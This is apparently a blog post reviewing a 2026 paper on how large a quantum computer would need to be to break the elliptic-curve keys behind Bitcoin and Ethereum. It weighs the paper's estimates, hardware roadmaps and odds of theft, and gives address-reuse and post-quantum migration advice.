<p>The document is called <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities</a>, and the author list alone forces you to take it seriously: it&rsquo;s Google Quantum AI (with Craig Gidney, the same guy behind the recent <a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29"target="_blank" rel="noopener">RSA</a>-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of <a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography"target="_blank" rel="noopener">elliptic-curve cryptography</a>). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they&rsquo;re trashing.</p>
<p>First things first: <strong>read the paper directly</strong>. It&rsquo;s long and dense, but written with rare care, including an explicit effort not to turn into FUD.</p>
<p>What I&rsquo;m doing here is my own read, then comparing it with what GLM, Kimi, and ChatGPT made of it when I asked them to tear the text apart, and finally trying to answer the question that matters to anyone holding a handful of satoshis or ether: in the real world, what are the odds a quantum computer steals your money in the next few years?</p>
<p>I&rsquo;ll tip the spirit of it upfront: the sky isn&rsquo;t falling. But the &ldquo;start moving now&rdquo; message has real grounding, and the reason is subtler than &ldquo;quantum is coming.&rdquo;</p>
<p>The short version, for the impatient:</p>
<ul>
<li><strong>The paper is serious and the math holds.</strong> Google, the Ethereum Foundation, and Stanford show that breaking secp256k1 dropped to under 500,000 physical qubits and about 9 minutes, in a conditional scenario already confirmed by open, independent reproduction.</li>
<li><strong>This measures the machine&rsquo;s size; the date stays open.</strong> Today&rsquo;s best hardware works with about 12 logical qubits, and the attack asks for more than 1,200. On IBM&rsquo;s roadmap, hardware of the right size shows up around 2033.</li>
<li><strong>Bitcoin isn&rsquo;t ending.</strong> The risk hits whoever has an exposed public key, a subset of addresses (around 6.9 million BTC, much of it already lost). A modern no-reuse wallet stays safe at rest, and mining is at no risk at all.</li>
<li><strong>What you can do.</strong> As a user, key hygiene: a fresh address per use, no reuse (a stronger password doesn&rsquo;t help against quantum). As an industry, start the post-quantum migration now, in layers, without throwing everything out.</li>
</ul>
<p>Below, each of these points in full: what the paper says, where I agree and disagree with the other models, the real odds with timelines, and what to do in practice.</p>
<h2>What the paper actually says, in plain engineer terms<span class="hx:absolute hx:-mt-20" id="what-the-paper-actually-says-in-plain-engineer-terms"></span>
    <a href="#what-the-paper-actually-says-in-plain-engineer-terms" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let me get the jargon out of the way first. The security of Bitcoin, Ethereum, and almost all crypto rests on a math problem: given a public key, computing the matching private key is infeasible. Everyone sees your public key; nobody can walk back from it to your private key. That one-way street is what makes a digital signature worth anything.</p>
<p><a href="https://en.wikipedia.org/wiki/Shor%27s_algorithm"target="_blank" rel="noopener">Shor&rsquo;s algorithm</a>, running on a big enough quantum computer, breaks exactly that one-way street. It turns &ldquo;infeasible&rdquo; into &ldquo;a matter of minutes.&rdquo; That&rsquo;s been known since 1994. The paper&rsquo;s news is something else, and it&rsquo;s five points.</p>
<p><strong>First: the cost collapsed.</strong> The Google team presents new circuits for solving the <a href="https://en.bitcoin.it/wiki/Secp256k1"target="_blank" rel="noopener">secp256k1</a> curve (the curve behind Bitcoin and Ethereum accounts) using far fewer resources than anyone thought. Two recipes: one with under 1,200 logical qubits and 90 million Toffoli gates, another with under 1,450 logical qubits and 70 million gates.</p>
<p>On superconducting hardware, with standard error-correction assumptions, that would fit in <strong>under 500,000 physical qubits</strong> — nearly 20 times fewer than prior estimates — and run in <strong>9 to 12 minutes</strong> from a precomputed state. Hold onto that number: 9 minutes. It&rsquo;s the scary one, because it&rsquo;s shorter than Bitcoin&rsquo;s average block interval.</p>
<p><strong>Second: they didn&rsquo;t publish the circuit.</strong> Here&rsquo;s a move that&rsquo;s elegant and controversial at once. To prove they have a circuit that size without handing everyone a loaded gun, they published a <strong><a href="https://en.wikipedia.org/wiki/Zero-knowledge_proof"target="_blank" rel="noopener">zero-knowledge proof</a></strong>: a mathematical proof that they possess the circuit, without revealing the circuit. Responsible in intent. Except, as I&rsquo;ll get to, this part was the shakiest piece of the whole story.</p>
<p>If &ldquo;zero-knowledge proof&rdquo; sounds esoteric, the idea is simple and old in cryptography: prove you know or have something without revealing the thing itself. You can prove you&rsquo;re of legal age without showing your birthdate, or that you know a password without typing it.</p>
<p>It&rsquo;s the same trick behind the privacy of several cryptocurrencies: Zcash uses ZK (the so-called zk-SNARKs) to validate shielded transactions without exposing amount or address, Monero uses range proofs (bulletproofs) to hide how much was sent, and Ethereum&rsquo;s zk-rollups use ZK to prove a batch of transactions is valid without reprocessing all of it. In the paper, Google uses the same family of tool to prove it possesses the circuit, without handing over the circuit.</p>
<p><strong>Third: not every quantum computer is good for everything.</strong> The paper draws a distinction that&rsquo;s the text&rsquo;s best practical contribution. There&rsquo;s the &ldquo;fast clock&rdquo; (superconducting, photonic) and the &ldquo;slow clock&rdquo; (trapped ions, neutral atoms), with a 100x to 1,000x speed difference. Out of that speed come three types of attack:</p>
<ul>
<li><strong>On-spend attack:</strong> the attacker intercepts your transaction in the mempool, breaks the key, and injects a rival transaction before your spend lands in a block. Needs a fast clock, because it&rsquo;s a race against the block clock.</li>
<li><strong>At-rest attack:</strong> the public key is already exposed on the blockchain (a dormant wallet, a reused key). The attacker has days or months to work. Even a slow clock does the job.</li>
<li><strong>On-setup attack:</strong> a single quantum computation extracts a secret from a cryptographic ceremony and becomes a reusable master key, which then runs on ordinary classical computers. This one&rsquo;s the most insidious, and it hits things like Ethereum&rsquo;s data-availability mechanism.</li>
</ul>
<p><strong>Fourth: the map of who bleeds.</strong> On Bitcoin, the at-rest targets are the old <a href="https://en.bitcoin.it/wiki/Script"target="_blank" rel="noopener">P2PK</a> scripts (about 1.7 million BTC, almost all Satoshi-era and probably lost), <a href="https://bitcoinops.org/en/topics/taproot/"target="_blank" rel="noopener">Taproot</a> (P2TR, which exposes the key), and any reused address.</p>
<p>All told, the paper estimates around 6.9 million BTC vulnerable today, of which some 2.3 million have been dormant for more than five years. Modern addresses that hide the key behind a hash and have never spent stay safe at rest.</p>
<p>And there&rsquo;s good news buried here: <strong>Bitcoin mining is not at risk</strong>. <a href="https://en.wikipedia.org/wiki/Grover%27s_algorithm"target="_blank" rel="noopener">Grover&rsquo;s algorithm</a>, which would attack mining, has too small a gain and doesn&rsquo;t parallelize; error-correction overhead eats it all. The paper buries that myth on purpose.</p>
<blockquote>
  <p><strong>Bitcoin mining is not at risk. Quantum toppling Proof-of-Work is the myth this paper buries on purpose.</strong></p>

</blockquote>
<p><strong>Fifth: Ethereum has a much larger surface.</strong> The account model exposes the public key permanently after the first transaction, unlike Bitcoin&rsquo;s UTXO model. Add to that contract admin keys (stablecoins, bridges, oracles), the <a href="https://en.wikipedia.org/wiki/BLS_digital_signature"target="_blank" rel="noopener">BLS signatures</a> holding up <a href="https://en.wikipedia.org/wiki/Proof_of_stake"target="_blank" rel="noopener">Proof-of-Stake</a> consensus, and the <a href="https://dankradfeist.de/ethereum/2020/06/16/kate-polynomial-commitments.html"target="_blank" rel="noopener">KZG commitments</a> in the data layer. More stuff exposed, and much of it you can&rsquo;t &ldquo;change addresses&rdquo; to escape.</p>
<p>And how does the paper argue all this? Three legs: the resource estimates (with the zero-knowledge proof for credibility), real blockchain data (the BTC and ETH at-risk figures come from public <a href="https://en.wikipedia.org/wiki/BigQuery"target="_blank" rel="noopener">BigQuery</a> queries), and the honest framing that the goal is to sound the alarm to migrate, making clear the machine is still to come.</p>
<p>The paper, by the way, <strong>gives no date</strong>. It sizes the machine and stops there; the calendar stays open.</p>
<h2>Where I agree and disagree with the other models<span class="hx:absolute hx:-mt-20" id="where-i-agree-and-disagree-with-the-other-models"></span>
    <a href="#where-i-agree-and-disagree-with-the-other-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I asked GLM 5.3, Kimi K3, and ChatGPT (GPT 5.6) to analyze and criticize the paper. The interesting part is that all three, and I, converge on the essentials and diverge on exactly the same points. That&rsquo;s a good sign: when different models hammer the same nail, the nail usually exists.</p>
<p><strong>What everyone agrees on (me included):</strong></p>
<ul>
<li>The logical-resource estimate is <strong>credible</strong>. It&rsquo;s not a number out of nowhere: it follows the historical trajectory (the cost to break RSA-2048 fell from ~1 billion qubits in 2012 to under 1 million in 2025) and comes from the very group that produced the field&rsquo;s best estimates.</li>
<li>The fast-clock / slow-clock distinction and the spend / rest pairing are the right lens for thinking about mitigation.</li>
<li>The mining immunity is correct and needed saying out loud.</li>
<li>Dormant assets are a real problem no software fork solves on its own, because nobody holds the private key to move the lost coins.</li>
</ul>
<p><strong>What everyone flags (and I flag harder):</strong></p>
<p>ChatGPT was the sharpest on a distinction worth gold: <strong>there&rsquo;s a gulf between &ldquo;value at risk&rdquo; and &ldquo;expected loss&rdquo;</strong>. When the paper says &ldquo;20.5 million ETH in vulnerable accounts&rdquo; or &ldquo;6.9 million BTC exposed,&rdquo; that measures how much the system leans on fragile cryptography. It&rsquo;s a far bigger number than what an attacker could actually steal.</p>
<p>There&rsquo;s overlap, there&rsquo;s multisig, there&rsquo;s admin keys you can rotate, there are contracts with an emergency council that pauses everything. Stacking those numbers into a &ldquo;trillions at risk&rdquo; headline is dishonest to the paper itself.</p>
<blockquote>
  <p><strong>&ldquo;Value at risk&rdquo; measures how much the system leans on fragile cryptography. It&rsquo;s a far bigger number than what an attacker could actually steal.</strong></p>

</blockquote>
<p>Same goes for the famous <strong>41% chance of theft on Bitcoin</strong>. That number is only the probability that the 9-minute computation finishes before the next block shows up (a block arrives every 10 minutes on average, but with a lot of variance). It&rsquo;s not the chance of stealing your money.</p>
<p>To steal, the attacker still has to propagate the rival transaction, convince a miner to include it, win the fee race. And the paper itself assumes attacker-friendly conditions (no network congestion, instant delivery). Kimi and ChatGPT hit this one, and they&rsquo;re right.</p>
<p>The most important point, and one I think the paper leaves between the lines on purpose: <strong>the 500,000 physical qubits and the 9 minutes describe a conditional engineering scenario. On dates, the paper says nothing.</strong> It&rsquo;s a blueprint for a machine that <em>could</em> do the attack, assuming a 0.1% error rate, 1-microsecond correction cycles, low-latency decoding, enough magic-state factories, and half a million qubits running stable for minutes on end.</p>
<p>Each assumption is reasonable in isolation. The whole chain working together, at that scale, nobody has demonstrated.</p>
<p>And here&rsquo;s the most interesting part, which Kimi and ChatGPT caught and I confirmed by searching outside: <strong>the zero-knowledge proof mechanism had a bug.</strong> Trail of Bits <a href="https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/"target="_blank" rel="noopener">managed to forge a proof</a> by exploiting memory and logic bugs in Google&rsquo;s Rust verifier code, to the point of generating a proof that reported zero Toffoli gates for a circuit that wasn&rsquo;t even reversible.</p>
<p>Notice what that breaks and what it doesn&rsquo;t. The flaw was in the software that checks the proof, not in any demonstration that the paper&rsquo;s circuit is wrong. The proof stopped being trustworthy, and the scientific claim itself stayed standing, neither proven nor disproven. Google patched the verifier in version 2.</p>
<p>The lesson is about trust: instead of trusting Google&rsquo;s word, the proof was asking you to trust its parser, its compiler, and its simulator.</p>
<p>And that&rsquo;s exactly why the independent reproduction matters so much. In June 2026, researcher André Schrottenloher <a href="https://postquantum.com/security-pqc/google-ecdlp-circuits-reproduced-open/"target="_blank" rel="noopener">rebuilt the circuits in the open</a>, landing in the same region: about 56 million Toffoli gates, with the entire circuit published and reproducible.</p>
<p>Gidney himself acknowledged the reproduction captured the essential breakthrough, and after that others already pushed the number below a thousand logical qubits. So: the paper&rsquo;s central claim held up, but through a route that doesn&rsquo;t depend on trusting anyone&rsquo;s proof software. Open science is what closed the case.</p>
<p>One last point almost nobody raises and I think needs saying: <strong>conflict of interest.</strong> Seven authors are from Google Quantum AI, whose hardware roadmap is precisely the superconducting architecture the paper makes look like the nearest threat. And there&rsquo;s an Ethereum Foundation coauthor on a paper that ranks Ethereum as more exposed and recommends urgent migration.</p>
<p>The authors disclose long positions in crypto and no shorts, which is honest. None of this invalidates anything — the team&rsquo;s technical chops are the best in the field — but it calls for a calibrated read, with a cool head.</p>
<h2>The question that matters: what are the real odds, and when?<span class="hx:absolute hx:-mt-20" id="the-question-that-matters-what-are-the-real-odds-and-when"></span>
    <a href="#the-question-that-matters-what-are-the-real-odds-and-when" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let&rsquo;s separate the theoretical from the real, which is where most of these debates turn to mush.</p>
<p><strong>In theory, the answer is yes, comfortably.</strong> If a big, stable enough machine exists, Shor&rsquo;s algorithm breaks secp256k1. On the math side it&rsquo;s already settled; what&rsquo;s left is engineering. The whole question boils down to: <em>when does that machine exist?</em></p>
<h3>Physical qubit versus logical qubit<span class="hx:absolute hx:-mt-20" id="physical-qubit-versus-logical-qubit"></span>
    <a href="#physical-qubit-versus-logical-qubit" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A quick aside to separate two numbers that trip almost everyone up: physical qubit and logical qubit. The physical qubit is the real hardware, and it&rsquo;s noisy; it loses its state in a blink, from interference, heat, vibration. On its own, it errs far too much for any serious computation.</p>
<p>The fix is error correction: you gang up hundreds or thousands of physical qubits, all representing <strong>one</strong> logical qubit, and use the redundancy to detect and repair errors in real time. The logical qubit is the &ldquo;real,&rdquo; stable qubit the algorithm actually sees.</p>
<p>And that&rsquo;s where the difficulty hides behind the numbers. The attack doesn&rsquo;t just ask for 1,200 logical qubits; it asks for <strong>1,200 logical qubits working together, all stable at the same time, for minutes on end</strong>, running tens of millions of operations without the correction system getting buried under errors.</p>
<p>It&rsquo;s like keeping a thousand plates spinning at once, each plate made of a thousand pieces that want to fall, for the entire length of the show. Keeping a single such plate up for an instant was the historic feat of 2024. The jump to a thousand plates, spinning for minutes, is the real chasm.</p>
<h3>Where the hardware stands today<span class="hx:absolute hx:-mt-20" id="where-the-hardware-stands-today"></span>
    <a href="#where-the-hardware-stands-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>In today&rsquo;s reality, we&rsquo;re far off.</strong> Google itself helps measure the distance. <a href="https://blog.google/innovation-and-ai/technology/research/google-willow-quantum-chip/"target="_blank" rel="noopener">Willow</a>, their flagship chip, demonstrated below-threshold error correction in 2024, a historic feat. But the result was <strong>a single well-corrected logical qubit</strong>, built from 101 physical ones, which outlived every one of them.</p>
<p>If the ruler is the number of logical qubits running together, the public record today is around a dozen (<a href="https://en.wikipedia.org/wiki/Quantinuum"target="_blank" rel="noopener">Quantinuum</a> reached 12). The paper asks for more than 1,200. On both rulers, quality and quantity, the distance runs to roughly a hundredfold, and each logical qubit still costs thousands of physical qubits with the stability we&rsquo;re missing.</p>
<p>In physical qubits, the largest announced system is in the low thousands; the attack wants nearly half a million. Several orders of magnitude of distance, across several dimensions at once. Nothing a fine-tuning pass fixes.</p>
<blockquote>
  <p><strong>Today&rsquo;s best hardware works with logical qubits in the dozen range. The attack needs more than a thousand. The gap is orders of magnitude.</strong></p>

</blockquote>
<p>There&rsquo;s also a bet that sidesteps this brute-force game: the topological one, from Microsoft. The idea is a hardware-protected qubit, naturally more error-resistant, which would slash the count of physical qubits per logical one. <a href="https://www.forbes.com/sites/moorinsights/2026/07/16/microsoft-doubles-down-on-topological-qubits-with-majorana-2-chip/"target="_blank" rel="noopener">Majorana 2</a>, in 2026, swapped aluminum for lead and jumped coherence from milliseconds to 20 seconds, and Microsoft pulled its fault-tolerance target from 2033 to 2029.</p>
<p>But it&rsquo;s the most disputed bet of them all. Much of the community doubts a real working topological qubit is even there; the latest paper shows only half the measurements that would prove the qubit. If it pans out, it&rsquo;s a shortcut for everyone; if not, it&rsquo;s a dead end. I broke this case down in <a href="/en/2026/07/12/quantum-news-majorana-2-and-understanding-shor/">a separate article</a>.</p>
<h3>The roadmaps and the timelines<span class="hx:absolute hx:-mt-20" id="the-roadmaps-and-the-timelines"></span>
    <a href="#the-roadmaps-and-the-timelines" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>The near future is where the real debate lives.</strong> The honest way to talk about it is with estimates, because nobody has certainty here. The most-cited reference is the <a href="https://globalriskinstitute.org/publication/quantum-threat-timeline/"target="_blank" rel="noopener">Global Risk Institute&rsquo;s Quantum Threat Timeline</a>, an annual survey of experts in the field.</p>
<p>The 2025 edition gives something like <strong>34% odds of a cryptographically relevant quantum computer by ~2030 and ~49% by ~2035</strong>, with the median opinion landing between 2029 and 2032. And those estimates are for a generic CRQC, typically framed around breaking RSA-2048.</p>
<p>On the manufacturing side, the most explicit roadmap is <a href="https://www.ibm.com/roadmaps/quantum/"target="_blank" rel="noopener">IBM&rsquo;s</a>. It projects Starling in 2029, the first large-scale fault-tolerant machine, with 200 logical qubits and 100 million operations.</p>
<p>Notice that 200 still sits below the more than 1,200 the attack asks for. The machine of the right size only shows up on the next step, Blue Jay, slated for 2033, with 2,000 logical qubits and a billion operations.</p>
<p>So even on the industry&rsquo;s own most aggressive roadmap, hardware with enough logical qubits to threaten secp256k1 arrives around 2033, with the usual caveat: quantum roadmaps slip. IBM is betting on <a href="https://errorcorrectionzoo.org/c/qldpc"target="_blank" rel="noopener">qLDPC</a> codes to get there, which cut the physical qubits behind each logical one by about 90% compared to Willow&rsquo;s surface code.</p>
<p>And China? It&rsquo;s right there at the frontier, which kills the one-horse-race framing. USTC&rsquo;s <a href="https://quantumzeitgeist.com/zuchongzhi-3-google-quantum-error-correction/"target="_blank" rel="noopener">Zuchongzhi 3.2</a> crossed the same error-correction threshold as Willow in 2025, with a distance-7 surface-code logical qubit, and it was the first team outside the US to get there.</p>
<p>But notice it&rsquo;s the same milestone: a single well-corrected logical qubit, the same hundredfold gap to 1,200. And publicly, China hasn&rsquo;t put a dated roadmap for the big machine on the table the way IBM has; the stated plan is incremental, pushing the code distance to 9 and 11. At the science frontier, it&rsquo;s a tie; on a calendar to the machine that breaks crypto, neither side has an easy date.</p>
<p>A warning about all these dates: they&rsquo;re the best case, with every published roadmap landing on time. A roadmap is a statement of intent, and quantum computing&rsquo;s track record is one of timelines slipping forward.</p>
<p>I&rsquo;ll go further, and this is my own opinion: I&rsquo;d bet on a timeline at least an order of magnitude longer than these roadmaps. Keeping thousands of logical qubits in sync, error-free, for minutes on end, is anything but a linear problem. My gut says each extra logical qubit makes the whole set exponentially harder to hold together: the difficulty of syncing multiplies with every new piece, rather than just adding up.</p>
<h3>My read, in numbers<span class="hx:absolute hx:-mt-20" id="my-read-in-numbers"></span>
    <a href="#my-read-in-numbers" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mapping that onto crypto specifically, my read in round numbers, taking the roadmaps at face value (far more optimistic than my own bet just above), and always as estimate and opinion:</p>
<ul>
<li><strong>Next 2 to 3 years (through ~2029):</strong> near zero. Going from 12 to 1,200 stable logical qubits in that window isn&rsquo;t on any serious public roadmap.</li>
<li><strong>The 2030–2032 horizon:</strong> low, but not negligible. Maybe 10% to 20% that the machine exists <em>in principle</em>. The actual theft chance is lower still, because the highest-value targets (exchanges, modern wallets) will have moved by then.</li>
<li><strong>Around 2035:</strong> here it becomes a coin flip for a generic CRQC, in the 40% to 50% range per the experts. Except &ldquo;a CRQC exists&rdquo; isn&rsquo;t the same as &ldquo;they stole your money.&rdquo; By then, migration should be well underway.</li>
</ul>
<p>The detail that decides everything, and that Mosca sums up in a simple theorem: what matters is <strong>the machine&rsquo;s date minus the time your migration takes</strong>. If migrating takes years, and the machine could arrive in five to ten, you&rsquo;re already in a bind, even with low short-term odds. That&rsquo;s why &ldquo;start now&rdquo; makes sense even with clear skies. Asymmetric risk management, with a cool head.</p>
<h2>Why this isn&rsquo;t &ldquo;it&rsquo;s over, everything&rsquo;s lost&rdquo;<span class="hx:absolute hx:-mt-20" id="why-this-isnt-its-over-everythings-lost"></span>
    <a href="#why-this-isnt-its-over-everythings-lost" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Even in the scenario of a ready machine and a bad actor, the damage is surgical, hitting specific targets instead of wiping everything. And the reason is simple to grasp.</p>
<p>Your crypto doesn&rsquo;t live on your hard drive or your Ledger. It lives on the public blockchain, in plain sight, all the time. The device only holds the private key that authorizes moving it. Anyone can hit a block explorer, type an address, and see the balance. What decides your quantum exposure is one thing only: <strong>has your public key shown up somewhere?</strong></p>
<p>On modern Bitcoin addresses (the <code>bc1q</code> ones, which hide the key behind a hash), as long as you&rsquo;ve <strong>never spent</strong> from that address, the public key isn&rsquo;t exposed. The quantum attacker has nowhere to start, because it breaks the public key, and the key isn&rsquo;t there. Those funds are safe at rest.</p>
<p>Exposure is only born the moment you spend, and even then it&rsquo;s a window of minutes, against a block clock, needing that fast-clock machine that doesn&rsquo;t exist yet.</p>
<p>Watch the word, though: &ldquo;quantum-resistant&rdquo; is too big for these addresses. What they give you is at-rest protection, good only while the key stays hidden behind the hash. The day you spend, the public key hits the block and opens the on-spend window. The permanent shield only comes with migrating to a post-quantum signature; the hash just buys time until then.</p>
<p>That&rsquo;s why the paper talks about roughly 6.9 million vulnerable BTC, out of the nearly 20 million that exist. The biggest slice of that is reused keys and Satoshi-era P2PK, which are probably lost anyway.</p>
<p>It concentrates in a subset of addresses with one specific behavior, an exposed key, while the rest of the network stays out of it. Anyone using a fresh address per receipt and not spending from the same place over and over is, in practice, off the at-rest radar.</p>
<blockquote>
  <p><strong>The vulnerable crypto is a subset of addresses with one specific behavior: an already-exposed key. A fresh, no-reuse wallet stays out of it.</strong></p>

</blockquote>
<h2>What you can do today<span class="hx:absolute hx:-mt-20" id="what-you-can-do-today"></span>
    <a href="#what-you-can-do-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here comes the question that always shows up, and the answer that disappoints anyone hoping for a magic button.</p>
<p><strong>&ldquo;If I create a wallet with a stronger password/passphrase, does that help?&rdquo;</strong> No. And understanding why teaches the whole problem.</p>
<p>A strong passphrase protects your <em>seed</em> — those 12 or 24 words — against someone trying to guess or steal the backup. That&rsquo;s great and you should do it, but it&rsquo;s a defense against a classical attack.</p>
<p>And don&rsquo;t mix up the problems: a badly generated seed is a separate failure, from the classical world. That&rsquo;s what happened with <a href="/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/">Coinkite&rsquo;s weak RNG</a>, where the ColdCard itself spat out predictable keys from bad entropy at the source. There the defect is in how the key is born; quantum attacks the math of the already-finished key.</p>
<p>The quantum computer doesn&rsquo;t guess your seed. It takes your <strong>public</strong> key, sitting in plain sight on the blockchain, and computes the matching private key with Shor. It doesn&rsquo;t matter whether your private key came from a 4-character passphrase or a 40-character one: once the public key has shown up, password strength is irrelevant. Quantum attacks the curve&rsquo;s math, and that math is the same for everyone.</p>
<blockquote>
  <p><strong>Quantum doesn&rsquo;t guess your seed. It computes your private key from the public key already in plain sight. Password strength doesn&rsquo;t enter into it.</strong></p>

</blockquote>
<p>What actually moves the needle is key-exposure hygiene:</p>
<ul>
<li><strong>Don&rsquo;t reuse addresses.</strong> One address per receipt. The moment you spend from an address, its public key goes to the blockchain; if you keep using that address, the remaining balance becomes exposed at rest.</li>
<li><strong>Keep the bulk in modern addresses that hide the key behind a hash</strong> (<code>bc1q</code>, P2WPKH) and that you&rsquo;ve never spent from. Avoid parking reserves in Taproot (<code>bc1p</code>) and in old P2PK addresses, which expose the key directly.</li>
<li><strong>Don&rsquo;t spread your extended public key (xpub) around.</strong> Portfolio tools, a shared spreadsheet, a third-party integration: every place that gets your xpub is one more exposure point.</li>
<li><strong>When real post-quantum wallets show up, migrate.</strong> That&rsquo;s the definitive step, and it&rsquo;ll arrive via a software update.</li>
</ul>
<p>And the most important thing to keep your head straight: if you store on a serious exchange or use a modern wallet without reuse, your short-term risk is practically zero. The exchange is the one that&rsquo;ll have to migrate for you (with the custody risks that already exist, quantum or not). No need to run around today moving anything in a panic.</p>
<h2>What the industry can do, without going radical<span class="hx:absolute hx:-mt-20" id="what-the-industry-can-do-without-going-radical"></span>
    <a href="#what-the-industry-can-do-without-going-radical" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On the protocol-builder side, the temptation is the extreme: &ldquo;drop everything and switch to post-quantum signatures tomorrow.&rdquo; That&rsquo;s as bad as &ldquo;ignore it, it&rsquo;s FUD.&rdquo; Post-quantum cryptography is newer, less battle-tested, has much larger keys and signatures, and swapping blind introduces new bugs where there were none. The sensible path is defense in depth, starting with what&rsquo;s cheap.</p>
<p><strong>Intermediate measures, easier than the full swap:</strong></p>
<ul>
<li>Kill key reuse and minimize public-key exposure in the protocol and wallets by default.</li>
<li>Private mempools and commit-reveal schemes, which close the on-spend attack window.</li>
<li>Validator key rotation on Ethereum, a simple stopgap against the consensus attack.</li>
<li>On Bitcoin, proposals like BIP-360 (the P2MR script), which removes Taproot&rsquo;s at-rest key exposure.</li>
</ul>
<p><strong>The medium-term bridge:</strong> hybrid signatures, which combine today&rsquo;s elliptic curve with a post-quantum scheme (lattice-based, for instance). You stay protected against both worlds at the cost of larger signatures, and you don&rsquo;t bet everything on a new scheme that might have an undiscovered weakness.</p>
<p><strong>The ground is more mature than it looks.</strong> NIST has already standardized post-quantum schemes (ML-DSA, the former Dilithium; Falcon; SPHINCS+). Ethereum is discussing post-quantum precompiles (EIP-7932) and account abstraction, which shrink the surface without a traumatic hard fork. Blockchains like Algorand, XRP Ledger, and QRL already experiment with PQC or were born with it. The rail for this migration is already laid, far from a leap in the dark.</p>
<p><strong>And the piece nobody has solved:</strong> dormant assets. The lost P2PK coins, including the ~1 million BTC attributed to Satoshi, have no owner to migrate them.</p>
<p>The paper discusses options — do nothing, burn the coins via soft fork, a &ldquo;recovery sidechain,&rdquo; or even government-regulated salvage, on the sunken-treasure analogy.</p>
<p>Here I&rsquo;ll be blunt: <strong>this part is the paper&rsquo;s weakest. It&rsquo;s political opinion dressed up as a technical conclusion.</strong> Nothing in the qubit estimate says who should keep a lost coin, or whether sitting still for five years extinguishes a property right.</p>
<p>These are thorny legal and political choices the paper raises honestly but is nowhere near closing. Good that the conversation starts; bad to treat it as if there&rsquo;s a ready answer.</p>
<blockquote>
  <p><strong>The policy section on lost coins is the paper&rsquo;s weakest: there the science stops and the opinion begins.</strong></p>

</blockquote>
<h2>Where we actually stand<span class="hx:absolute hx:-mt-20" id="where-we-actually-stand"></span>
    <a href="#where-we-actually-stand" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Summing up the near-future quantum picture in a few layers, ruler always calibrated:</p>
<table>
  <thead>
      <tr>
          <th>Layer</th>
          <th>Situation</th>
          <th>Read</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Theoretical</strong></td>
          <td>Shor breaks secp256k1 if the machine exists</td>
          <td>Mathematical certainty; the question is when the machine exists</td>
      </tr>
      <tr>
          <td><strong>Reality today (2026)</strong></td>
          <td>~12 logical qubits (Quantinuum); attack needs &gt;1,200</td>
          <td>A factor of ~100 in logical qubits, several orders of magnitude in physical. Nobody steals anything today</td>
      </tr>
      <tr>
          <td><strong>Next 2–3 years (~2029)</strong></td>
          <td>Off any serious public roadmap</td>
          <td>Risk near zero</td>
      </tr>
      <tr>
          <td><strong>2030–2032</strong></td>
          <td>A machine capable <em>in principle</em> starts to be plausible</td>
          <td>Estimate of ~10–20%; actual theft lower still, targets migrate first</td>
      </tr>
      <tr>
          <td><strong>~2035</strong></td>
          <td>Coin flip for a generic CRQC (experts: ~40–50%)</td>
          <td>&ldquo;A machine exists&rdquo; ≠ &ldquo;they robbed you&rdquo;; migration should be underway</td>
      </tr>
  </tbody>
</table>
<p>The paper is serious and its math stands, now confirmed by open, independent reproduction. The threat is real enough to justify action, and the reason has a name: Mosca&rsquo;s theorem. Since migrating takes years, you start before the machine exists, the same way you replace a roof before the storm, while the weather&rsquo;s good.</p>
<p>But none of this is &ldquo;sell everything, Bitcoin is done.&rdquo; The attack is about exposed keys, it&rsquo;s a subset of addresses, it needs a machine that&rsquo;s orders of magnitude from existing, and the defenses that matter now are boring hygiene: don&rsquo;t reuse addresses, don&rsquo;t park reserves in an exposed key, and migrate to post-quantum when the tooling matures.</p>
<p>Mining is not at risk, your modern no-reuse wallet is not at risk today, and the strongest passphrase in the world changes none of it.</p>
<p>That&rsquo;s how to read Google&rsquo;s paper: a competent, self-aware warning, from people who know the subject, saying the window to migrate calmly is narrower than intuition suggests — and still wider than the headline makes it look. <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Read it straight from the source</a> and draw your own conclusion. Just don&rsquo;t fall for &ldquo;it&rsquo;s over&rdquo; or &ldquo;it&rsquo;s all a lie.&rdquo; The interesting answer, as almost always, lives in the middle.</p>
]]></content:encoded><category>quantum-computing</category><category>bitcoin-and-cryptocurrency</category><category>security</category></item><item><title>Understanding the Brazilian Censorship of Discord and the Digital ECA Law</title><link>https://akitaonrails.github.io/en/2026/08/13/understanding-the-discord-censorship-and-brazils-digital-eca/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/13/understanding-the-discord-censorship-and-brazils-digital-eca/</guid><pubDate>Thu, 13 Aug 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;If you didn&amp;rsquo;t know: Brazil censored Discord&amp;rsquo;s livestreams this week. One heads-up before we start: this story runs on Brazilian law and Brazilian reporting, so most of the sources linked below are in Portuguese. I&amp;rsquo;ll translate everything that matters.&lt;/p&gt;
